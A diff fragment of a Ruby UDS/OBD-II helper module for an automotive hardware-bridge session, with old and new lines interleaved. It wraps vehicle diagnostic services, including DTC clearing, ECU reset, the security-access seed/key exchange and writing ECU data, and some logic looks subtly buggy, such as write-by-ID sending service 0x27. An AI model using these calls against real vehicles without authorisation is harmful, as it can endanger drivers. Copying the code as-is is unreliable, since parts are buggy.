client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x01, pid], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x01, pid], opt)
end
#
# Get all supported pids for current data
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Array] All supported pids from Mode $01 get current data
def get_current_data_pids(bus, srcId, dstId)
def get_current_data_pids(bus, src_id, dst_id)
pids = []
packets = get_current_data(bus, srcId, dstId, 0, {"MAXPKTS" => 1})
return pids if packets == nil
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
return pids if packets.nil?
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(1..0x20).each do |pid|
@ -113,8 +114,8 @@ module UDS
end
end
if pids.include? 0x20
packets = get_current_data(bus, srcId, dstId, 0x20, {"MAXPKTS" => 1})
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0x20, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x20..0x40).each do |pid|
@ -123,8 +124,8 @@ module UDS
end
end
if pids.include? 0x40
packets = get_current_data(bus, srcId, dstId, 0x40, {"MAXPKTS" => 1})
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0x40, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x40..0x60).each do |pid|
@ -133,8 +134,8 @@ module UDS
end
end
if pids.include? 0x60
packets = get_current_data(bus, srcId, dstId, 0x60, {"MAXPKTS" => 1})
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0x60, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x60..0x80).each do |pid|
@ -143,8 +144,8 @@ module UDS
end
end
if pids.include? 0x80
packets = get_current_data(bus, srcId, dstId, 0x80, {"MAXPKTS" => 1})
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0x80, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x80..0xA0).each do |pid|
@ -153,8 +154,8 @@ module UDS
end
end
if pids.include? 0xA0
packets = get_current_data(bus, srcId, dstId, 0xA0, {"MAXPKTS" => 1})
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0xA0, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0xA0..0xC0).each do |pid|
@ -163,8 +164,8 @@ module UDS
end
end
if pids.include? 0xC0
packets = get_current_data(bus, srcId, dstId, 0xC0, {"MAXPKTS" => 1})
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_current_data(bus, src_id, dst_id, 0xC0, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0xC0..0xE0).each do |pid|
@ -179,15 +180,15 @@ module UDS
# Mode $01 Pid $01 gets and parses the monitor status
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "MIL" => true|false "DTC_COUNT" => 0 }
def get_monitor_status(bus, srcId, dstId)
packets = get_current_data(bus, srcId, dstId, 0x01, {"MAXPKTS" => 1})
return {} if packets == nil
return packets if packets.has_key? "error"
return packets if not packets.has_key? "Packets"
def get_monitor_status(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x01, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
packets["MIL"] = packets["Packets"][0]["DATA"][3].hex & 0xB0 == 1 ? true : false
packets["DTC_COUNT"] = packets["Packets"][0]["DATA"][3].hex & 0x7F
packets
@ -197,15 +198,15 @@ module UDS
# Gets the engine coolant temprature in both Celcious and Fahrenheit
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "TEMP_C" => <Celcious Temp>, "TEMP_F" => <Fahrenheit TEmp> }
def get_engine_coolant_temp(bus, srcId, dstId)
packets = get_current_data(bus, srcId, dstId, 0x05, {"MAXPKTS" => 1})
return {} if packets == nil
return packets if packets.has_key? "error"
return packets if not packets.has_key? "Packets"
def get_engine_coolant_temp(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x05, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
celsius = packets["Packets"][0]["DATA"][3].hex - 40
fahrenheit = celsius * 9 / 5 + 32
packets["TEMP_C"] = celsius
@ -217,15 +218,15 @@ module UDS
# Gets the engine's current RPMs
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "RPM" => <RPMs> }
def get_rpms(bus, srcId, dstId)
packets = get_current_data(bus, srcId, dstId, 0x0C, {"MAXPKTS" => 1})
return {} if packets == nil
return packets if packets.has_key? "error"
return packets if not packets.has_key? "Packets"
def get_rpms(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x0C, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
packets["RPM"] = (256 * packets["Packets"][0]["DATA"][3].hex + packets["Packets"][0]["DATA"][4].hex) / 4
packets
end
@ -234,15 +235,15 @@ module UDS
# Gets the engine's current vehicle speed in km/h and mph
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "SPEED_K" => <km/h>, "SPEED_M" => <mph> }
def get_vehicle_speed(bus, srcId, dstId)
packets = get_current_data(bus, srcId, dstId, 0x0D, {"MAXPKTS" => 1})
return {} if packets == nil
return packets if packets.has_key? "error"
return packets if not packets.has_key? "Packets"
def get_vehicle_speed(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x0D, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
packets["SPEED_K"] = packets["Packets"][0]["DATA"][3].hex
packets["SPEED_M"] = packets["SPEED_K"] / 1.609344
packets
@ -253,18 +254,18 @@ module UDS
# but currently creates a human readable string instead. This may change in the future.
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] Description of standard
def get_obd_standards(bus, srcId, dstId)
packets = get_current_data(bus, srcId, dstId, 0x1C, {"MAXPKTS" => 1})
return "" if packets == nil
if packets.has_key? "error"
print_error("OBD ERR: #{packets["error"]}")
def get_obd_standards(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x1C, { "MAXPKTS" => 1 })
return "" if packets.nil?
if packets.key? "error"
print_error("OBD ERR: #{packets['error']}")
return ""
end
return "" if not packets.has_key? "Packets"
return "" unless packets.key? "Packets"
case packets["Packets"][0]["DATA"][3].hex
when 1
return "OBD-II as defined by CARB"
@ -325,7 +326,7 @@ module UDS
when 14..16, 22, 27, 34..250
return "Reserved"
end
return "SAE J1939 Special Meanings"
"SAE J1939 Special Meanings"
end
### Mode $02 ###
@ -335,28 +336,28 @@ module UDS
# #get_current_data_pids. You must specify which freeze frame you want to recall data from.
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param pid [Integer] Integer of the PID to get data about
# @param frame [Integer] Freeze Frame Number
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automotive response
def get_freeze_frame_data(bus, srcId, dstId, pid, frame, opt={})
if not client.automotive
def get_freeze_frame_data(bus, src_id, dst_id, pid, frame, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
pid = pid.to_s(16)
frame = frame.to_s(16)
if not bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x02, pid, frame], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x02, pid, frame], opt)
end
### Mode $03 ###
@ -365,37 +366,37 @@ module UDS
# Retrieves the Diagnostic Trouble Codes (DTCs)
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Array] Array of DTCs
def get_dtcs(bus, srcId, dstId, opt={})
def get_dtcs(bus, src_id, dst_id, opt = {})
dtcs = []
if not client.automotive
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
data = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x03], opt)
return [] if data == nil
if data.has_key? "error"
print_error("UDS ERR: #{data["error"]}")
data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x03], opt)
return [] if data.nil?
if data.key? "error"
print_error("UDS ERR: #{data['error']}")
return []
end
if data.has_key? "Packets" and data["Packets"].size > 0
data = response_hash_to_data_array(dstId, data)
if data.size > 0 and data.size % 2 == 0
(0..data.size).step(2) do |idx|
if (data.key? "Packets") && !data["Packets"].empty?
data = response_hash_to_data_array(dst_id, data, 4)
if !data.empty? && data.even?
(0..data.size / 2).step(2) do |idx|
code = ""
case data[idx].hex & 0xC0
case data[idx].hex & 0xC0 >> 3
when 0
code = "P"
when 1
@ -405,7 +406,7 @@ module UDS
when 3
code = "U"
end
code += (data[idx].hex & 0x3F).to_s(16)
code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0')
code += data[idx + 1]
dtcs << code
end
@ -420,25 +421,80 @@ module UDS
# Clears the DTCs and Resets the MIL light back to the off position
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] No packets are expected to return but an error could be returned
def clear_dtcs(bus, srcId, dstId, opt={})
if not client.automotive
def clear_dtcs(bus, src_id, dst_id, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x04], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x04], opt)
end
### Mode $07 ###
#
# Retrieves the Frozen Diagnostic Trouble Codes (DTCs)
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Array] Array of DTCs
def get_frozen_dtcs(bus, src_id, dst_id, opt = {})
dtcs = []
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x07], opt)
return [] if data.nil?
if data.key? "error"
print_error("UDS ERR: #{data['error']}")
return []
end
if (data.key? "Packets") && !data["Packets"].empty?
data = response_hash_to_data_array(dst_id, data, 4)
if !data.empty? && data.size.even?
(0..data.size / 2).step(2) do |idx|
code = ""
case data[idx].hex & 0xC0 >> 3
when 0
code = "P"
when 1
code = "C"
when 2
code = "B"
when 3
code = "U"
end
code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0')
code += data[idx + 1]
dtcs << code
end
end
end
dtcs
end
### Mode $09 ###
@ -448,25 +504,25 @@ module UDS
# No formatting is done on the response
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automotive response
def get_vehicle_info(bus, srcId, dstId, mode, opt={})
if not client.automotive
def get_vehicle_info(bus, src_id, dst_id, mode, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
mode = mode.to_s(16)
if not bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x09, mode], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x09, mode], opt)
end
#
@ -474,15 +530,19 @@ module UDS
# Returns them as an array of ints
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Array] Array of PIDS supported by Mode $09
def get_vinfo_supported_pids(bus, srcId, dstId)
def get_vinfo_supported_pids(bus, src_id, dst_id)
pids = []
packets = get_vehicle_info(bus, srcId, dstId, 0, {"MAXPKTS" => 1})
return pids if packets == nil
if packets.has_key? "Packets" and packets["Packets"].size > 0
packets = get_vehicle_info(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
return pids if packets.nil?
if (packets.key? "Packets") && !packets["Packets"].empty?
unless packets["Packets"][0]["DATA"][1].hex == 0x49
print_error("ECU Did not return a valid response")
return []
end
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(1..20).each do |pid|
@ -496,16 +556,16 @@ module UDS
# Requests a VIN and formats the response as ASCII
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] VIN as ASCII
def get_vin(bus, srcId, dstId)
packets = get_vehicle_info(bus, srcId, dstId, 0x02)
return "" if packets == nil
return "UDS ERR: #{packets["error"]}" if packets.has_key? "error"
data = response_hash_to_data_array(dstId.to_s(16), packets)
return "" if data == nil
def get_vin(bus, src_id, dst_id)
packets = get_vehicle_info(bus, src_id, dst_id, 0x02)
return "" if packets.nil?
return "UDS ERR: #{packets['error']}" if packets.key? "error"
data = response_hash_to_data_array(dst_id.to_s(16), packets)
return "" if data.nil?
data.map! { |d| d.hex.chr }
data.join
end
@ -513,16 +573,16 @@ module UDS
# Gets the vehicle calibration ID and returns it as an ASCII string
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] Calibration ID as ASCII
def get_calibration_id(bus, srcId, dstId)
packets = get_vehicle_info(bus, srcId, dstId, 0x04)
return "" if packets == nil
return "UDS ERR: #{packets["error"]}" if packets.has_key? "error"
data = response_hash_to_data_array(dstId.to_s(16), packets)
return "" if data == nil
def get_calibration_id(bus, src_id, dst_id)
packets = get_vehicle_info(bus, src_id, dst_id, 0x04)
return "" if packets.nil?
return "UDS ERR: #{packets['error']}" if packets.key? "error"
data = response_hash_to_data_array(dst_id.to_s(16), packets)
return "" if data.nil?
data.map! { |d| d.hex.chr }
data.join
end
@ -530,16 +590,16 @@ module UDS
# Get the vehicles ECU name pid 0x0A
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [String] ECU Name as ASCII
def get_ecu_name(bus, srcId, dstId)
packets = get_vehicle_info(bus, srcId, dstId, 0x0A)
return "" if packets == nil
return "UDS ERR: #{packets["error"]}" if packets.has_key? "error"
data = response_hash_to_data_array(dstId.to_s(16), packets)
return "" if data == nil
def get_ecu_name(bus, src_id, dst_id)
packets = get_vehicle_info(bus, src_id, dst_id, 0x0A)
return "" if packets.nil?
return "UDS ERR: #{packets['error']}" if packets.key? "error"
data = response_hash_to_data_array(dst_id.to_s(16), packets)
return "" if data.nil?
data.map! { |d| d.hex.chr }
data.join
end
@ -553,28 +613,28 @@ module UDS
# Set the diagnostic session code
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param level [Integer] The desired DSC level
#
# @return [Hash] client.automtoive response
def set_dsc(bus, srcId, dstId, level)
if not client.automotive
def set_dsc(bus, src_id, dst_id, level)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
level = level.to_s(16)
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["TIMEOUT"] = 20
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x10, level], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x10, level], opt)
end
### Mode $11 ###
@ -583,26 +643,26 @@ module UDS
# Issues a reset of the ECU
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param hard [Boolean] If true a hard reset will be peformed
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automtoive response (Could be no response)
def reset_ecu(bus, srcId, dstId, hard, opt={})
if not client.automotive
def reset_ecu(bus, src_id, dst_id, hard, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
reset_type = hard ? 1 : 0
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x11, reset_type], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x11, reset_type], opt)
end
### Mode $22 ###
@ -611,45 +671,45 @@ module UDS
# Reads data from a memory region given a lookup ID value
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ]
# @param show_error [Boolean] If an error, return the Packet hash instead, Default false
#
# @return [Array] Data retrieved. If show_error is true and an error is detected, then packet hash will be returned instead
def read_data_by_id(bus, srcId, dstId, id, show_error=false)
def read_data_by_id(bus, src_id, dst_id, id, show_error = false)
data = []
if not client.automotive
unless client.automotive
print_error("Not an automotive hwbridge session")
return {} if show_error
return []
end
if not id.is_a? Array
unless id.is_a? Array
print_error("ID paramater must be a two byte array")
return {} if show_error
return []
end
if not id.size == 2
unless id.size == 2
print_error("ID paramater must be a two byte array")
return {} if show_error
return []
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
bus = client.automotive.active_bus if not bus
if not bus
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 15
packets = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x22] + id, opt)
return [] if packets == nil
if packets.has_key? "error"
packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt)
return [] if packets.nil?
if packets.key? "error"
return packets if show_error
else
data = response_hash_to_data_array(dstId, packets)
data = response_hash_to_data_array(dst_id, packets)
end
data
end
@ -660,30 +720,30 @@ module UDS
# Retrieves the security access token
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param level [Integer] Requested security access level. Default is 1
#
# @return [Hash] Packet Hash with { "SEED" => [ XX, XX ] }
def get_security_token(bus, srcId, dstId, level=1)
if not client.automotive
def get_security_token(bus, src_id, dst_id, level = 1)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
level = level.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 1
packets = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27, level], opt)
return {} if packets == nil
if not packets.has_key? "error"
packets["SEED"] = response_hash_to_data_array(dstId, packets)
packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, level], opt)
return {} if packets.nil?
unless packets.key? "error"
packets["SEED"] = response_hash_to_data_array(dst_id, packets)
end
packets
end
@ -692,33 +752,33 @@ module UDS
# Sends a security access tokens response to the seed request
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# param key [Array] Array of Hex to be used as the key. Same size as the seed
# @param response_level [Integer] Requested security access level response. Usually level + 1. Default is 2
#
# @return [Hash] packet response from client.automotoive
def send_security_token_response(bus, srcId, dstId, key, response_level=2)
if not client.automotive
def send_security_token_response(bus, src_id, dst_id, key, response_level = 2)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
if not key.is_a? Array
unless key.is_a? Array
print_error("Key must be an array of hex values")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
key.map! { |k| k.to_s(16) } if key[0].is_a? Integer
response_level = response_level.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27, response_level] + key, opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, response_level] + key, opt)
end
### Mode $2E ###
@ -727,37 +787,37 @@ module UDS
# Writes data by ID
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ]
# @param data [Array] Array of bytes to write
#
# @return [Hash] Packet hash from client.automotive
def write_data_by_id(bus, srcId, dstId, id, data)
if not client.automotive
def write_data_by_id(bus, src_id, dst_id, id, data)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
if not id.is_a? Array
unless id.is_a? Array
print_error("ID must be an array of hex values")
return {}
end
if not data.is_a? Array
unless data.is_a? Array
print_error("DATA must be an array of hex values")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
data.map! { |d| d.to_s(16) } if data[0].is_a? Integer
bus = client.automotive.active_bus if not bus
if not bus
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
opt = {}
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27] + id + data, opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27] + id + data, opt)
end
### Mode $31 ###
@ -767,38 +827,38 @@ module UDS
# manufacturer.
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param routine_type [Integer] Type or routine request. Example: 1 = Start, 3 = Report
# param id [Array] 2 byte Array for the routine identifier
# @param data [Array] Array of routine data/params. Specific to the routine. Optional, Default []
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] Packet hash from client.automotive
def routine_control(bus, srcId, dstId, routine_type, id, data=[], opt={})
if not client.automotive
def routine_control(bus, src_id, dst_id, routine_type, id, data = [], opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
if not id.is_a? Array
unless id.is_a? Array
print_error("ID must be an array of hex values")
return {}
end
if not data.is_a? Array
unless data.is_a? Array
print_error("DATA must be an array of hex values")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
routine_type = routine_type.to_s(16)
id.map! { |i| i.to_s(16) } if id[0].is_a? Integer
data.map! { |d| d.to_s(16) } if data.size > 0 and data[0].is_a? Integer
bus = client.automotive.active_bus if not bus
if not bus
